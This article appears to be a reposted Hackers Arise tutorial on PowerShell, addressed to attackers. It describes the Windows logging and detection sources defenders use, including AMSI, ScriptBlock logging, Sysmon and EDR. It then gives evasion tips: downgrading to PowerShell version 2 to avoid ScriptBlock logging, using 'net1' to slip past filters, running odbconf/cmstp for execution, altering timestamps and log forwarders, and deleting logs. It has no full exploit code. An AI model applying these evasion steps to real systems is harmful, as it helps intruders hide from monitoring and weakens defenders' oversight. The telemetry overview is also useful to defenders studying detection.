National Cyber Warfare Foundation (NCWF)

Understand what telemetry defenders rely on to minimize noisy moves and reduce detection.

The post PowerShell for Hackers-Survival Edition, Part 3: Know Your Enemy first appeared on Hackers Arise.

Welcome back aspiring hackers!

In this chapter, we’re going deeper into the ways defenders can spot you and the traps they set to catch you off guard. We’re talking about defensive mechanisms and key Windows Event IDs that can make your life harder if you’re not careful. Every hacker knows that understanding defenders’ tools and habits is half the battle.

No system is perfect, and no company has unlimited resources. Every growing organization needs analysts constantly tuning alerts and security triggers as new software and users are added to the network. It’s tedious and repetitive work. Too many alerts can exhaust even the sharpest defenders. Eye fatigue, late nights, and false positives all drain attention. That’s where you get a small window to make a move, or a chance to slip through unnoticed.

Assuming nobody is watching is a beginner’s mistake. We’ve seen many beginners lose access to entire networks simply because they underestimated defensive mechanisms. The more professional you become, the less reckless you are, and the sharper your actions become. Always evaluate your environment before acting.

Visibility

Defenders have a few main ways they can detect you, and knowing these is crucial if you want to survive:

Process Monitoring

Process monitoring allows defenders to keep an eye on what programs start, stop, or interact with each other. Every process, PowerShell included, leaves traces of its origin (parent) and its children. Analysts use this lineage to spot unusual activity.

For example, a PowerShell process launched by a Microsoft Word document might be suspicious. Security teams use Endpoint Detection and Response (EDR) tools to gather this data, and some providers, like Red Canary, correlate it with other events to find malicious patterns.

Command Monitoring

Command monitoring focuses on what commands are being run inside the process. For PowerShell, this means watching for specific cmdlets, parameters, or encoded commands. Alone, a command might look innocent, but in combination with process monitoring and network telemetry, it can be a strong indicator of compromise.

Network Monitoring

Attackers often use PowerShell to download tools or exfiltrate data over the network. Monitoring outgoing and incoming connections is a reliable way for defenders to catch malicious activity. A common example is an Invoke-Expression command that pulls content from an external server via HTTP.

What They’re Watching

Let’s break down the logs defenders rely on to catch PowerShell activity:

Windows Security Event ID 1101: AMSI

AMSI stands for Antimalware Scan Interface. Think of it as a security checkpoint inside Windows that watches scripts running in memory, including PowerShell, VBScript, and WMI.

AMSI doesn’t store logs in the standard Event Viewer. Instead, it works with Event Tracing for Windows (ETW), a lower-level logging system. If you bypass AMSI, you can execute code that normally would trigger antivirus scans, like dumping LSASS or running malware, without immediate detection.

But AMSI bypasses are risky. They’re often logged themselves, and Microsoft actively patches them. Publicly available bypasses are a trap for anyone trying to survive quietly.

Windows Security Event ID 4104: ScriptBlock Logging

ScriptBlock logging watches the actual code executed in PowerShell scripts. There are two levels:

Automatic (default): Logs script code that looks suspicious, based on Microsoft’s list of dangerous cmdlets and .NET APIs.

Global: Logs everything with no filters.

Event ID 4104 collects this information. You can bypass this by downgrading PowerShell to version 2, if it exists, but even that downgrade can be logged. Subtle obfuscation is necessary. Here is how you downgrade:

PS > powershell -version 2

Note, that ScriptBlock logging only works with PowerShell 5 and above.

Windows Security Event ID 400: PowerShell Command-Line Logging

Even older PowerShell versions have Event ID 400, which logs when a PowerShell process starts. It doesn’t show full commands, but the fact that a process started is noted.

Windows Security Event IDs 800 & 4103: Module Loading and Add-Type

Module logging (Event ID 800) tracks which PowerShell modules are loaded, including the source code for commands run via Add-Type. This is important because Add-Type is used to compile and run C# code.

In PowerShell 5+, Event ID 4103 also logs this context. If a defender sees unusual or rarely-used modules being loaded, it’s a red flag.

Sysmon Event IDs

Sysmon is a specialized Windows tool that gives defenders extra visibility. Usually defenders monitor tracks:

Event ID 1: Every new process creation.

Event ID 7: Module loads, specifically DLLs.

Event ID 10: Process Access, for instance accessing lsass.exe to dump credentials.

For PowerShell, Event ID 7 can flag loads of System.Management.Automation.dll or related modules, which is often a clear indicator of PowerShell use. Many other Sysmon IDs might be monitored, make sure you spend some time to learn about some of them.

To check if Sysmon is running:

PS > Get-Service -Name sysmon

To view recent Sysmon events:

PS > Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" -MaxEvent 20 | Format-List TimeCreated, Id, Message

checking if sysmon is installed on windows

Not all systems have Sysmon, but where it’s installed, defenders trust it. Essentially, it is like a high-tech security camera that is detailed, persistent, and hard to fool.

Endpoint Detection and Response (EDR) Tools

EDR tools combine all the telemetry above such as processes, commands, modules, network traffic to give defenders a full picture of activity. If you’re working on a system with EDR, every move is being watched in multiple ways.

What’s Likely to Get You Spotted

Attackers are predictable. If you run the same commands repeatedly, defenders notice. Red Canary publishes filters that show suspicious PowerShell activity. Not every system uses these filters, but they’re widely known.

Encoded Commands

Using -encodedcommand or Base64 can trigger alerts. Base64 itself isn’t suspicious, but repeated or unusual use is a warning sign.

Obfuscation & Escape Characters

Adding extra characters (^, +, $, %) can throw off detection, but too much is suspicious.

Suspicious Cmdlets

Some cmdlets are commonly abused. These include ones for downloading files, running scripts, or managing processes. Knowing which ones are flagged helps you avoid careless mistakes.

Suspicious Script Directories

Scripts running from odd locations, like Public folders, are more likely to be flagged. Stick to expected directories or in-memory execution.

Workarounds

Even when your movement is restricted, options exist.

1) Use native binaries. Legitimate Windows programs are less suspicious.

2) Less common commands. Avoid widely abused cmdlets to reduce detection.

3) Living-Off-the-Land. Using built-in tools creatively keeps you under the radar.

We’ll cover these in more depth in the next chapter, how commands meant for one thing can be adapted for another while remaining invisible.

Net Trick

The net command is powerful, but can be monitored. Use net1 to bypass some filters in really strict environments:

PS > net1 user

This lets you run the full suite of net commands quietly.

Logs

Deleting logs can sometimes be a good idea, but you should know that Event ID 1102 flags it immediately. Also, even less experienced defenders can trace lateral movement from log records. Traffic spikes or SMB scans are noticed quickly.

Methods to Evade Detection

Focus on minimizing your footprint and risk. High-risk, complex techniques are not part of this guide.

Avoid Writing Files

Files on disk can betray your tactics. If saving is necessary, use native-looking names, unusual folders, and adjust timestamps. Stick to in-memory execution where possible. Lesser-known commands like odbconf.exe and cmstp.exe are safer and often overlooked. Use them for execution.

PowerShell Version 2

Downgrading can bypass ScriptBlock logging. But you need to obfuscate things carefully. Subtlety is key here.

Change Forwarder Settings

Tweaking log collectors can buy time but is riskier. Always revert these changes after finishing. It’s always good to have a backup of the config files.

Credential Reuse & Blending In

Use known credentials rather than brute-forcing. Work during normal hours to blend in well and dump traffic to understand local activity. Using promiscuous mode can help you get richer network insights. Targeting common ports for file distribution is also a good idea and blends in well with normal traffic patterns.

Summary

In this part we learned more about the enemy and how defenders see your every move. We broke down the main ways attackers get caught, such as process monitoring, command monitoring and network monitoring. From there, we explored Windows Event IDs and logging mechanisms. We emphasized survival strategies that help you minimize footprint by using in-memory execution, sticking to lesser-known or native commands, using version 2 PowerShell or blending in with normal traffic. Practical tips like the net1 trick and log handling process give you an idea how to avoid raising alarms.

When you understand how defenders observe, log, and respond it lets you operate without tripping alerts. By knowing what’s watched and how, you can plan your moves more safely and survive longer. Our goal here was to show you the challenges you’ll face on Windows systems in restricted environments and give you a real sense that you’re never truly alone.